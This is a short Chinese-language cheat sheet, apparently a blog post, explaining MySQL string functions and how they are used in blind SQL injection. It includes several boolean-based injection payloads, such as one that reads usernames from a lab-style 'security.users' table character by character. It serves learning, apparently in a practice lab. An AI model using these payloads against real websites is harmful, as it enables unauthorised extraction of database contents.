mid
SELECT MID(ColumnName, Start [, Length]) FROM TableName
LEFT(str,len)
返回字符串str的最左面len个字符
ASCII(str) =ORD
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
SUBSTR(str,pos,len)
从str中多少个字符开始,截取多少位
CAST
SELECT CAST(’12’ AS int) 将目标str转化为目标数据类型
IFNULL(expr1,expr2)
如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2
updatexml()
extracavalue()
判断字符的一些语句:
▲left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
▲ascii(substr((select table_name from information_schema.tables
where table_schema =database()limit 0,1),1,1))=101 –+
//substr()函数,ascii()函数
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数
Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
Ord()函数同 ascii(),将字符转为 ascii 值
网友评论